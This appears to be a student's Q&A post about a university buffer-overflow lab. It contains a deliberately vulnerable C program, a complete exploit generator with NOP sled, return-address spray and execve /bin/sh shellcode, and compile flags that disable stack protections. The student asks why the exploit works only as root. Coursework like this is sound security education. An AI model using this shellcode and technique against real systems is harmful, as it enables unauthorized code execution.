title: Buffer Overflow - SegFaults in regular user
body: <p>Below is my code, both the vulnerable program (stack.c) and my exploit (exploit.c). This code works on a pre-packaged Ubuntu 9 that the prof sent out for windows users (I had a friend test it on his computer), but on Ubuntu 12 that I run on my iMac, i get segfaults when I try and do this in a normal user. </p>
  
  <p>here's stack:</p>
  
  <pre><code>//stack.c
  #include &lt;stdio.h&gt;
  
  int bof(char *str)
  {
  char buffer[12];
  
  //BO Vulnerability
  strcpy(buffer,str);
  
  return 1;
  }
  
  int main(int argc, char* argv[])
  {
  char str[517];
  
  FILE *badfile;
      badfile = fopen("badfile","r");
  
  fread(str, sizeof(char),517, badfile);
  bof(str);
  
  printf("Returned Properly\n");
  return 1;
  }
  </code></pre>
  
  <p>and exploit:</p>
  
  <pre><code>//exploit.c
  #include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;string.h&gt;
  #define DEFAULT_OFFSET 350 
  
  char code[]=
  "\x31\xc0" 
  "\x50" 
  "\x68""//sh" 
  "\x68""/bin" 
  "\x89\xe3" 
  "\x50" 
  "\x53" 
  "\x89\xe1"
  "\x99"
  "\xb0\x0b" 
  "\xcd\x80"
  ;
  
  unsigned long get_sp(void)
  {
       __asm__("movl %esp,%eax");
  }
  
  void main(int argc, char **argv)
  {
  char buffer[517];
  FILE *badfile;
  char *ptr;
  long *a_ptr,ret;
  
  int offset = DEFAULT_OFFSET;
  int codeSize = sizeof(code);
  int buffSize = sizeof(buffer);
  
  if(argc &gt; 1) offset = atoi(argv[1]); //allows for command line input
  
  ptr=buffer;
  a_ptr = (long *) ptr;
  
  /* Initialize buffer with 0x90 (NOP instruction) */
  memset(buffer, 0x90, buffSize);
  
  //----------------------BEGIN FILL BUFFER----------------------\\
  
  ret = get_sp()+offset;
      printf("Return Address: 0x%x\n",get_sp());
      printf("Address: 0x%x\n",ret);
  
  ptr = buffer;
      a_ptr = (long *) ptr;
  
  int i;
  for (i = 0; i &lt; 300;i+=4)
      *(a_ptr++) = ret;
  
  for(i = 486;i &lt; codeSize + 486;++i)
      buffer[i] = code[i-486];
  
  buffer[buffSize - 1] = '\0';
  //-----------------------END FILL BUFFER-----------------------\\
  
  
  /* Save the contents to the file "badfile" */
  badfile = fopen("./badfile", "w");
  fwrite(buffer,517,1,badfile);
  fclose(badfile);    
  }
  </code></pre>
  
  <p>To compile these within Ubuntu 12 I used:</p>
  
  <pre><code>gcc -o stack -fno-stack-protector -g -z execstack stack.c
  gcc -o exploit exploit.c
  </code></pre>
  
  <p>Again, it works in a root user, just not a regular user; 
  <img src="https://i.stack.imgur.com/tWqYL.png" alt="example"></p>
  
  <p>Anyways, this is due at midnight and I limped my way through the rest of the assignment with this restriction, but I'd much rather complete it properly if someone has a suggestion. Figured I'd call in the experts before throwing in the towel. I'm looking to see why, this code, will not work in a normal user (as it should, and does on older versions of ubuntu) but does work in a root user. what do i need to change to make this work in the normal user also.</p>